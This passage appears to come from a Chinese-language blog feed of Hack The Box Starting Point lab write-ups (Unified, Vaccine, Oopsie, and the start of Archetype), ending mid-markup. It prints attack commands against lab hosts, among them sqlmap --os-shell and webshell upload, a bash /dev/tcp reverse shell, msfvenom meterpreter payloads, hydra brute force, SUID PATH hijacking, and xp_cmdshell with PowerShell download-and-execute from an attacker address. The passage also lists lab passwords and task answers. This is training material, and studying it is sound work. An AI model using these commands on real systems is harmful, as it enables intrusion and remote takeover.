class="line">run</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/51ec241a676d7b2b8c003e21df53db0231a6adcf0d68a38a986d92e583603346.jpg" alt="start-Unified-14">  </p><hr><ul><li><p>Task 1 Which are the first four open ports? 开放了哪些端口</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">22,6789,8080,8443</span><br></pre></td></tr></table></figure></li><li><p>Task 2 What is the title of the software that is running running on port 8443? 8443端口运行着什么软件</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Unifi Network</span><br></pre></td></tr></table></figure></li><li><p>Task 3 What is the version of the software that is running? 运行的软件版本是什么</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">6.4.54</span><br></pre></td></tr></table></figure></li><li><p>Task 4 What is the CVE for the identified vulnerability? 漏洞编号是什么</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">cve-2021-44228</span><br></pre></td></tr></table></figure></li><li><p>Task 5 What protocol does JNDI leverage in the injection? 使用什么协议注入</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">ldap</span><br></pre></td></tr></table></figure></li><li><p>Task 6 What tool do we use to intercept the traffic, indicating the attack was successful? 我们使用什么工具拦截流量，表明攻击成功？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">tcpdump</span><br></pre></td></tr></table></figure></li><li><p>Task 7 What port do we need to inspect intercepted traffic for? 我们需要检查哪个端口拦截流量</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">389</span><br></pre></td></tr></table></figure></li><li><p>Task 8 What port is the MongoDB service running on? mongoDB运行在哪个端口</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">27117</span><br></pre></td></tr></table></figure></li><li><p>Task 9 What is the default database name for UniFi applications? UniFi 应用程序的默认数据库名称是什么</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">ace</span><br></pre></td></tr></table></figure></li><li><p>Task 10 What is the function we use to enumerate users within the database in MongoDB? 我们使用什么函数来枚举 MongoDB 数据库中的用户</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">db.admin.find()</span><br></pre></td></tr></table></figure></li><li><p>Task 11 What is the function we use to update users within the database in MongoDB? 我们使用什么函数来更新 MongoDB 数据库中的用户</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">db.admin.insert()</span><br></pre></td></tr></table></figure></li><li><p>Task 12 What is the password for the root user? root用户的密码是多少</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">NotACrackablePassword4U2022</span><br></pre></td></tr></table></figure></li></ul><blockquote><p>参考<br>  <a href="https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi">https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi</a><br>  <a href="https://blog.csdn.net/zr1213159840/article/details/123697698">https://blog.csdn.net/zr1213159840/article/details/123697698</a><br>  <a href="https://systemweakness.com/write-up-hack-the-box-starting-point-unified-tier-2-d4f3585320a1">https://systemweakness.com/write-up-hack-the-box-starting-point-unified-tier-2-d4f3585320a1</a></p></blockquote>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Unified </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Vaccine</title>
      <link href="/archives/security/HTB/start-Vaccine.html"/>
      <url>/archives/security/HTB/start-Vaccine.html</url>
      
        <content type="html"><![CDATA[<h5 id="老规矩，扫描"><a href="#老规矩，扫描" class="headerlink" title="老规矩，扫描"></a>老规矩，扫描</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap -A  10.129.89.216 -v --open</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/cc47b4aec8710462c6e95f5b1d0a940c4bb8e8c06110ff91f22ae60e5df7c236.jpg" alt="start-Vaccine-1"></p><h5 id="ftp匿名登录，有个backup-zip文件，-下载下来看下"><a href="#ftp匿名登录，有个backup-zip文件，-下载下来看下" class="headerlink" title="ftp匿名登录，有个backup.zip文件， 下载下来看下"></a>ftp匿名登录，有个backup.zip文件， 下载下来看下</h5><p><img src="https://images.hao.kim/uploads/2024/12/974f9ffc7c03fd0bb8ffd2902aede94b85d6587a00f6cbad6bd5768b1892a503.jpg" alt="start-Vaccine-2"></p><h5 id="backup-zip文件需要密码，-使用john进行破解，获取到密码-741852963"><a href="#backup-zip文件需要密码，-使用john进行破解，获取到密码-741852963" class="headerlink" title="backup.zip文件需要密码， 使用john进行破解，获取到密码 741852963"></a>backup.zip文件需要密码， 使用john进行破解，获取到密码 <code>741852963</code></h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">zip2john backup.zip &gt; <span class="built_in">hash</span></span><br><span class="line">john --wordlist=/usr/share/wordlists/rockyou.txt <span class="built_in">hash</span></span><br><span class="line">john --show <span class="built_in">hash</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/b72eb4f4967e7a0bd3bda09ff1e3a9f66522bfdcb3c4addd57c485ceb60ac5a8.jpg" alt="start-Vaccine-3"></p><h5 id="解压后，-查看index-php发现登录是进行hash对比，-hash值是cmd5加密，解密后得到-qwerty789"><a href="#解压后，-查看index-php发现登录是进行hash对比，-hash值是cmd5加密，解密后得到-qwerty789" class="headerlink" title="解压后， 查看index.php发现登录是进行hash对比， hash值是cmd5加密，解密后得到 qwerty789"></a>解压后， 查看index.php发现登录是进行hash对比， hash值是cmd5加密，解密后得到 <code>qwerty789</code></h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> index.php</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/e9ebe3814e339513d6db4380905003a753b8c50e4537c3aaa44e5055dd1a7c93.jpg" alt="start-Vaccine-5"></p><p><a href="https://www.somd5.com/">https://www.somd5.com/</a></p><p><img src="https://images.hao.kim/uploads/2024/12/bbb330305fb4c30bc5025d4a455b948162545f5167645e57c6f8ec711847c14f.jpg" alt="start-Vaccine-6"></p><h5 id="用上面的信息访问下我们的网站"><a href="#用上面的信息访问下我们的网站" class="headerlink" title="用上面的信息访问下我们的网站"></a>用上面的信息访问下我们的网站</h5><p><img src="https://images.hao.kim/uploads/2024/12/5be8615238f40f47163b47928ee0129fe1f4bb460ae5e9362d676bf115ff92e9.jpg" alt="start-Vaccine-7"></p><p><code>adminqwerty789</code> 登录</p><p><img src="https://images.hao.kim/uploads/2024/12/d7d2a2343b69f25988074c41e1f184436e42233b63b2c47de5dfc8f96f7c9beb.jpg" alt="start-Vaccine-8"></p><h5 id="搜索框有个搜索，-尝试用sqlmap跑下看看有没有注入，-同时需要带上phpsession的cookie"><a href="#搜索框有个搜索，-尝试用sqlmap跑下看看有没有注入，-同时需要带上phpsession的cookie" class="headerlink" title="搜索框有个搜索， 尝试用sqlmap跑下看看有没有注入， 同时需要带上phpsession的cookie"></a>搜索框有个搜索， 尝试用sqlmap跑下看看有没有注入， 同时需要带上phpsession的cookie</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sqlmap -url <span class="string">&quot;http://10.129.89.216/dashboard.php?search=1&quot;</span> --cookie=<span class="string">&quot;PHPSESSID=2drpkfp389uc4skergc81mqdqs&quot;</span> --os-shell</span><br><span class="line"><span class="comment">#直接用sqlmap写webshell，但是/var/www/html目录没有写入权限</span></span><br><span class="line">sqlmap -url <span class="string">&quot;http://10.129.178.244/dashboard.php?search=1&quot;</span> --cookie=<span class="string">&quot;PHPSESSID=88agokct14hpl4mgti1nboni8p&quot;</span> --file-write=reverse.php --file-dest=/var/www/html/reverse.php</span><br></pre></td></tr></table></figure><p>可以看到通过sqlmap获取了一个os shell</p><p><img src="https://images.hao.kim/uploads/2024/12/8e79e681bfbf6ad8350a86540c231d23498f23b906e960ba73781ed45677e394.jpg" alt="start-Vaccine-9"></p><h5 id="获取一个远程tty，获取地一个flag，相对来说，反弹shell-我更喜欢用msf，当然获取用户名密码以后可以直接使用ssh登录"><a href="#获取一个远程tty，获取地一个flag，相对来说，反弹shell-我更喜欢用msf，当然获取用户名密码以后可以直接使用ssh登录" class="headerlink" title="获取一个远程tty，获取地一个flag，相对来说，反弹shell 我更喜欢用msf，当然获取用户名密码以后可以直接使用ssh登录"></a>获取一个远程tty，获取地一个flag，相对来说，反弹shell 我更喜欢用msf，当然获取用户名密码以后可以直接使用ssh登录</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nc -lnvp 4444</span><br><span class="line">bash -c <span class="string">&quot;bash -i &gt;&amp; /dev/tcp/10.10.16.130/4444 0&gt;&amp;1&quot;</span></span><br><span class="line"></span><br><span class="line">python3 -c <span class="string">&#x27;import pty;pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/684e855a3015bf8b45cdf13737a8a4cbdd7d40552ca1c490b306a16897d48de6.jpg" alt="start-Vaccine-10"><br><img src="https://images.hao.kim/uploads/2024/12/9d975c8dec3b868585ac630408490ca16e80e2cd52b537a844d8f124ebe6c9ee.jpg" alt="start-Vaccine-11"><br><img src="https://images.hao.kim/uploads/2024/12/5bcbc3cc765b9714dffed93346c12685c9c8df6279d106a2e115b575274d2792.jpg" alt="start-Vaccine-12"><br><img src="https://images.hao.kim/uploads/2024/12/d248b5f2ba2116dcc72879454306bd1c3e0f2e94396f3483316bc8d6a69767da.jpg" alt="start-Vaccine-13"></p><h5 id="sudo-l看下哪些程序有特权-发现vi可以"><a href="#sudo-l看下哪些程序有特权-发现vi可以" class="headerlink" title="sudo -l看下哪些程序有特权,发现vi可以"></a>sudo -l看下哪些程序有特权,发现vi可以</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> -l</span><br><span class="line">P@s5w0rd!</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/8fde296fc87499e7f1e45a6b82c7edc25472dcea4d9e223a8257513cda104fe4.jpg" alt="start-Vaccine-14"></p><h5 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> /bin/vi /etc/postgresql/11/main/pg_hba.conf</span><br><span class="line"></span><br><span class="line"><span class="comment">#在vi命令模式下输入</span></span><br><span class="line">:!bash</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/c5e78aadd61213c4ef2d1879a6c2c892eedeaac6fea06d0105b182a3590c378d.jpg" alt="start-Vaccine-15"><img src="https://images.hao.kim/uploads/2024/12/6e9b364a0678dbba5e863de835a90b54b800de75a660ac71e19c9c6ed4db9e17.jpg" alt="start-Vaccine-16"><img src="https://images.hao.kim/uploads/2024/12/541cfa7e6a2d18c5fd0fb4b45a5823d019dd29c4204d7d798f337da05718d508.jpg" alt="start-Vaccine-17"></p><ul><li><p>Task 1 Besides SSH and HTTP, what other service is hosted on this box? 除了 SSH 和 HTTP，这个盒子上还有什么其他服务？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">ftp</span><br></pre></td></tr></table></figure></li><li><p>Task 2 This service can be configured to allow login with any password for specific username. What is that username? 此服务可以配置为允许使用特定用户名的任何密码登录。 那个用户名是什么？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">anonymous</span><br></pre></td></tr></table></figure></li><li><p>Task 3 What is the name of the file downloaded over this service? 通过此服务下载的文件的名称是什么</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">backup.zip</span><br></pre></td></tr></table></figure></li><li><p>Task 4 What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts? John The Ripper 工具集附带什么脚本并以允许破解尝试的格式从受密码保护的 zip 存档生成哈希？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">zip2john</span><br></pre></td></tr></table></figure></li><li><p>Task 5 What is the password for the admin user on the website? 网站上admin用户的密码是多少？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">qwerty789</span><br></pre></td></tr></table></figure></li><li><p>Task 6 What option can be passed to sqlmap to try to get command execution via the sql injection? 可以将什么选项传递给 sqlmap 以尝试通过 sql 注入执行命令</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">--os-shell</span><br></pre></td></tr></table></figure></li><li><p>Task 7 What program can the postgres user run as root using sudo? postgres 用户可以使用 sudo 作为 root 运行什么程序？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">vi</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Vaccine </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Oopsie</title>
      <link href="/archives/security/HTB/start-Oopsie.html"/>
      <url>/archives/security/HTB/start-Oopsie.html</url>
      
        <content type="html"><![CDATA[<h5 id="扫描发现22，80开放"><a href="#扫描发现22，80开放" class="headerlink" title="扫描发现22，80开放"></a>扫描发现22，80开放</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap -sV 10.129.114.125</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0f146990138c43e01f5524d3c52825270374290d103ea787fa61bae639ebae26.jpg" alt="start-Oopsie-1">  </p><h5 id="访问web，发现-cdn-cgi-login-路径"><a href="#访问web，发现-cdn-cgi-login-路径" class="headerlink" title="访问web，发现/cdn-cgi/login/路径"></a>访问web，发现<code>/cdn-cgi/login/</code>路径</h5><p><img src="https://images.hao.kim/uploads/2024/12/7798cba246617638512481241c96fc1c86b6fa3c5d30b07a6effa72cbcd65ecc.jpg" alt="start-Oopsie-2">  </p><h5 id="另外爆破路径可以用gobuster，成功率取决与字典"><a href="#另外爆破路径可以用gobuster，成功率取决与字典" class="headerlink" title="另外爆破路径可以用gobuster，成功率取决与字典"></a>另外爆破路径可以用gobuster，成功率取决与字典</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">gobuster <span class="built_in">dir</span> -u  http://10.129.114.125 -w 字典路径</span><br></pre></td></tr></table></figure><h5 id="访问http-10-129-114-125-cdn-cgi-login-，-有个login-as-guest"><a href="#访问http-10-129-114-125-cdn-cgi-login-，-有个login-as-guest" class="headerlink" title="访问http://10.129.114.125/cdn-cgi/login/ ， 有个login as guest"></a>访问<code>http://10.129.114.125/cdn-cgi/login/</code> ， 有个login as <code>guest</code></h5><p><img src="https://images.hao.kim/uploads/2024/12/4555d843f39f27844de06e3faf2d2b8e4aff0abe64aa25a494b8c1b3534a6403.jpg" alt="start-Oopsie-3"><br><img src="https://images.hao.kim/uploads/2024/12/ce2c969b428b217ad6650d32a0ee786587bcd1d5f107b381356e4511d9aa2292.jpg" alt="start-Oopsie-4"></p><h5 id="页面Account-url-id-2，替换为1会是什么样呢"><a href="#页面Account-url-id-2，替换为1会是什么样呢" class="headerlink" title="页面Account url id&#x3D;2，替换为1会是什么样呢"></a>页面Account url id&#x3D;2，替换为1会是什么样呢</h5><p><img src="https://images.hao.kim/uploads/2024/12/939f8e5807f35a61db95f81fadf0ce4470e492aab47520faded99285b245a5cd.jpg" alt="start-Oopsie-5"><br><img src="https://images.hao.kim/uploads/2024/12/6951cc9d48852912004c1705b21dd0df0f03d84e385b476d4739a475fe5f8146.jpg" alt="start-Oopsie-6">  </p><p>cookies</p><p><img src="https://images.hao.kim/uploads/2024/12/3024d97392cb826b2bcff8b1e51c0246d77f28267f534617657e9fbe26850101.jpg" alt="start-Oopsie-7">  </p><h5 id="修改cookie值，role为admin，-user为34322刷新-，可以发现upload可以上传东西"><a href="#修改cookie值，role为admin，-user为34322刷新-，可以发现upload可以上传东西" class="headerlink" title="修改cookie值，role为admin， user为34322刷新 ，可以发现upload可以上传东西"></a>修改cookie值，role为admin， user为34322刷新 ，可以发现upload可以上传东西</h5><p><img src="https://images.hao.kim/uploads/2024/12/e4ce8c289b5b49dc858edaf4ff5730fb6ff7507e7d2365ef6ff46dfb081d723c.jpg" alt="start-Oopsie-8">  </p><h5 id="也可以对登陆页面可以暴力破解，但是通过上面的绕过更方便"><a href="#也可以对登陆页面可以暴力破解，但是通过上面的绕过更方便" class="headerlink" title="也可以对登陆页面可以暴力破解，但是通过上面的绕过更方便"></a>也可以对登陆页面可以暴力破解，但是通过上面的绕过更方便</h5><p>可以用burpsuite也可以用hydra 登录并查看请求信息</p><p><img src="https://images.hao.kim/uploads/2024/12/b2673f67462482bce71373b290d6d4d1f6a7a547671c4f01c62241ac2be1e309.jpg" alt="start-Oopsie-9">  </p><p>请求地址 <a href="http://10.129.114.125/cdn-cgi/login/index.php">http://10.129.114.125/cdn-cgi/login/index.php</a> post的数据<code>username=admin&amp;password=1</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">hydra -l admin -P pass.txt -f 10.129.41.170 http-post-form <span class="string">&quot;/cdn-cgi/login/index.php:username=^USER^&amp;password=^PASS^:&quot;</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/54e70b67a598da20de6a18a67ad5e64916aa60dfedb6ed4c9c8687e1af285417.jpg" alt="start-Oopsie-10">  </p><p>命令解释：</p><blockquote><p>-l 用户名 -P 字典路径 http-post-form 通过post 表单提交数据 “&#x2F;URL:username&#x3D;^USER^&amp;password&#x3D;^PASS^:判断条件” 通过：分割，URL为请求地址， USER 和PASS分别为前面的参数，最后一个为判断条件</p></blockquote><p>上传一个phpinfo但是没有回显路径， 需要查找或者爆破一下目录</p><p><img src="https://images.hao.kim/uploads/2024/12/394ae53d70517c574165726f0419898a134a88516f545679f6b29a60bfee7f8e.jpg" alt="start-Oopsie-11">  </p><p>注意到路径有一个uploads，尝试访问看看 <a href="http://10.129.114.125/uploads/">http://10.129.114.125/uploads/</a>  路径存在</p><p><img src="https://images.hao.kim/uploads/2024/12/85d13b7d57195e96313f6f655236e258e1c2b8dfc7b9bae8313d05fa9ac29efb.jpg" alt="start-Oopsie-12">  </p><p>shell脚本，可以用weevely ，或者用msf ，或者哥斯拉 看个人喜好 <a href="http://10.129.114.125/uploads/infoinfo.php">http://10.129.114.125/uploads/infoinfo.php</a></p><p><img src="https://images.hao.kim/uploads/2024/12/a5825d8f29e5a649f9cddea20a2267466623eb7438e1cdfd975ddf8b55b16f66.jpg" alt="start-Oopsie-13">  </p><p>下面演示使用msfconsole进行</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msfconsole</span><br><span class="line">use exploit/multi/handler</span><br><span class="line"><span class="built_in">set</span> payload php/meterpreter/reverse_tcp</span><br><span class="line"><span class="built_in">set</span> lhost 10.10.16.130</span><br><span class="line">run -j</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/c0f3d546908f271c4b07d12e0123723a42bd39ea943cd20955cfa86709c46bd9.jpg" alt="start-Oopsie-14">  </p><p>另开一个终端生成一个webshell</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.16.130 lport=4444 -f raw &gt; reverse.php</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/19fd7be1af12038b5b39cfed9b53cd536f7a6df9231b72aee4ce4258d23e4100.jpg" alt="start-Oopsie-15">  </p><p>上传刚刚生成的reverse.php， 然后访问 <a href="http://10.129.114.125/uploads/reverse.php">http://10.129.114.125/uploads/reverse.php</a> msf会收到一个shell</p><p><img src="https://images.hao.kim/uploads/2024/12/9b6095eab6f2fc79c6369e54778ccf84c2a4bf38f2dd4ca02c7a751ef60b427f.jpg" alt="start-Oopsie-16">  </p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">session 1</span><br></pre></td></tr></table></figure><p>在<code>/cdn-cgi/login/db.php</code>目录找到数据库连接的相关信息</p><p><img src="https://images.hao.kim/uploads/2024/12/de9842dd6987a88b43067d8f72a97c836e35e927256d11ee1e86edbab33bdb35.jpg" alt="start-Oopsie-17">  </p><p>获取一个tty终端，使用python， 因为开放了22端口，可以直接使用ssh</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">shell</span><br><span class="line">python3 -c <span class="string">&#x27;import pty;pty.spawn(&quot;/bin/bash&quot;)&#x27;</span></span><br><span class="line"></span><br><span class="line">    su robert</span><br><span class="line">    M3g4C0rpUs3r!  <span class="comment">#密码</span></span><br><span class="line">    <span class="built_in">cd</span></span><br><span class="line">    <span class="built_in">ls</span></span><br><span class="line">    <span class="built_in">cat</span> user.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/46aef731528cd99007ac45cdb2d1538b5d39a2de8cb707ec431bbf66e2b66ab9.jpg" alt="start-Oopsie-18"><br><img src="https://images.hao.kim/uploads/2024/12/dd957ab45d495aafe984c9d262cfd5151b59d2a50aa111b18c9514bff655bc0a.jpg" alt="start-Oopsie-19">  </p><p>查看用户id， 发现所属两个组</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">id</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7a31d325982739850094b8976e14d244d699f43d6f147bfc03dae183203d3335.jpg" alt="start-Oopsie-20">  </p><p>查找存在suid的文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">find / -perm -u=s -<span class="built_in">type</span> f 2&gt;/dev/null</span><br></pre></td></tr></table></figure><p>文件会从root目录读取文件</p><p><img src="https://images.hao.kim/uploads/2024/12/6ff8dce7a1739f8e0dd85f441a3c83f6df3e053916f814f98a804a2acfca7305.jpg" alt="start-Oopsie-21">  </p><p>提权，通过改变cat的环境变量，来进行，</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="variable">$PATH</span></span><br><span class="line"><span class="built_in">export</span> PATH=/tmp:<span class="variable">$PATH</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;/bin/bash&#x27;</span> &gt; <span class="built_in">cat</span></span><br><span class="line"><span class="built_in">chmod</span> +x <span class="built_in">cat</span></span><br><span class="line">/usr/bin/bugtracker</span><br><span class="line">    1</span><br><span class="line">    <span class="built_in">whoami</span></span><br><span class="line">    <span class="built_in">ls</span> /root/</span><br><span class="line">    <span class="built_in">tail</span> /root/root.txt</span><br><span class="line">    <span class="built_in">tail</span> /home/robert/user.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/cad23fdc5df98b67bc79f519d8b6c5a627178d51f9a0e432610d7a151a4cdd03.jpg" alt="start-Oopsie-22">  </p><p>获取flag ，使用tail ，head ，more，vi， vim 等查看</p><p><img src="https://images.hao.kim/uploads/2024/12/6ecfc30f9ce00855623948d30ffa6eb23455c76efe89c7248abf07a703ef71ad.jpg" alt="start-Oopsie-23">  </p><hr><ul><li><p>TASK 1 With what kind of tool can intercept web traffic? 用什么样的工具可以拦截网络流量？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">proxy</span><br></pre></td></tr></table></figure></li><li><p>TASK 2 What is the path to the directory on the webserver that returns a login page? 网络服务器上返回登录页面的目录的路径是什么？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">/cdn-cgi/login</span><br></pre></td></tr></table></figure></li><li><p>TASK 3 What can be modified in Firefox to get access to the upload page? 在Firefox中可以修改什么以获得对上传页面的访问？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">cookie</span><br></pre></td></tr></table></figure></li><li><p>TASK 4 What is the access ID of the admin user? 什么是管理员用户的访问ID？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">34322</span><br></pre></td></tr></table></figure></li><li><p>TASK 5 On uploading a file, what directory does that file appear in on the server? 在上传文件时，该文件会出现在服务器的哪个目录中？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">/uploads</span><br></pre></td></tr></table></figure></li><li><p>TASK 6 What is the file that contains the password that is shared with the robert user? 包含与robert用户共享的密码的文件是什么？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">db.php</span><br></pre></td></tr></table></figure></li><li><p>TASK 7 What executible is run with the option “-group bugtracker” to identify all files owned by the bugtracker group? 使用选项”-group bugtracker “运行什么可执行文件，以确定bugtracker组所拥有的所有文件？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">find</span><br></pre></td></tr></table></figure></li><li><p>TASK 8 Regardless of which user starts running the bugtracker executable, what’s user privileges will use to run? 无论哪个用户开始运行bugtracker可执行文件，都会使用什么用户权限来运行？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">root</span><br></pre></td></tr></table></figure></li><li><p>TASK 9 What SUID stands for? SUID代表什么?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">set owner user id</span><br></pre></td></tr></table></figure></li><li><p>TASK 10 What is the name of the executable being called in an insecure manner? 正在以不安全的方式调用的可执行文件的名称是什么？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">cat</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Oopsie </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Archetype</title>
      <link href="/archives/security/HTB/start-Archetype.html"/>
      <url>/archives/security/HTB/start-Archetype.html</url>
      
        <content type="html"><![CDATA[<h5 id="扫描"><a href="#扫描" class="headerlink" title="扫描"></a>扫描</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap 10.129.95.187 -sV</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/ee244caae0f7313df45556e6cb07cbfcd9a5d8d76cb65240faa09936e4bc5841.jpg" alt="start-Archetype-1">  </p><h5 id="查看smb共享目录"><a href="#查看smb共享目录" class="headerlink" title="查看smb共享目录"></a>查看smb共享目录</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">smbclient -L 10.129.95.187</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/f968d916605bb7c179aba7792652192373ec704e953fb8e3b8eae17ca80b082d.jpg" alt="start-Archetype-2">  </p><h5 id="获取共享文件，看到用户名-ARCHETYPE-sql-svc-密码M3g4c0rp123"><a href="#获取共享文件，看到用户名-ARCHETYPE-sql-svc-密码M3g4c0rp123" class="headerlink" title="获取共享文件，看到用户名 ARCHETYPE\sql_svc 密码M3g4c0rp123"></a>获取共享文件，看到用户名 ARCHETYPE\sql_svc 密码M3g4c0rp123</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">smbclient \\\\10.129.95.187\\backups</span><br><span class="line">    <span class="built_in">ls</span></span><br><span class="line">    get prod.dtsConfig</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/ae247620b58932bf2bb9cc33d94563c74f6903f82c427cffcba2c33318b49a5c.jpg" alt="start-Archetype-3">  </p><h5 id="使用smbclient-py进行数据库连接，也可以用sqlmap，sqlmap更方便一些"><a href="#使用smbclient-py进行数据库连接，也可以用sqlmap，sqlmap更方便一些" class="headerlink" title="使用smbclient.py进行数据库连接，也可以用sqlmap，sqlmap更方便一些"></a>使用smbclient.py进行数据库连接，也可以用sqlmap，sqlmap更方便一些</h5><p><a href="https://github.com/fortra/impacket">https://github.com/fortra/impacket</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#msclient</span></span><br><span class="line">python mssqlclient.py sql_svc@10.129.95.187 -windows-auth</span><br><span class="line"><span class="comment">#sqlmap</span></span><br><span class="line">sqlmap -d <span class="string">&quot;mssql://ARCHETYPE\\sql_svc:M3g4c0rp123@10.129.95.187:1433/&quot;</span> --os-shell</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/0b358449425d0290ae6a705db89bce738a1878f8e98fa705cdcb4b900886de66.jpg" alt="start-Archetype-4">  </p><h5 id="使用sql命令开启xp-cmdshell执行系统命令效果和sqlmap的一样，二选一即可"><a href="#使用sql命令开启xp-cmdshell执行系统命令效果和sqlmap的一样，二选一即可" class="headerlink" title="使用sql命令开启xp_cmdshell执行系统命令效果和sqlmap的一样，二选一即可"></a>使用sql命令开启xp_cmdshell执行系统命令效果和sqlmap的一样，二选一即可</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">enable_xp_cmdshell</span><br><span class="line">RECONFIGURE</span><br><span class="line"></span><br><span class="line"><span class="comment">#查看当前权限</span></span><br><span class="line">xp_cmdshell <span class="built_in">whoami</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#检查是否有管理权限</span></span><br><span class="line">SELECT IS_SRVROLEMEMBER (<span class="string">&#x27;sysadmin&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取反弹shell，可以用powershell远程执行ps1或者msiexec安装,或者msf的exe</span></span><br><span class="line"><span class="comment"># xp_cmdshell后面跟要运行的命令即可</span></span><br><span class="line">xp_cmdshell <span class="string">&quot;powershell &quot;</span>IEX (New-Object Net.WebClient).DownloadString(\&quot;http://10.10.14.11:8080/shell.ps1\&quot;);<span class="string">&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># 或者</span></span><br><span class="line"><span class="string">xp_cmdshell &quot;</span>msiexec -qa http://10.10.16.130 /shell.msi<span class="string">&quot;</span></span><br></pre></td></tr></table></figure><h5 id="获取信息，一般查看桌面和历史命令user-txt"><a href="#获取信息，一般查看桌面和历史命令user-txt" class="headerlink" 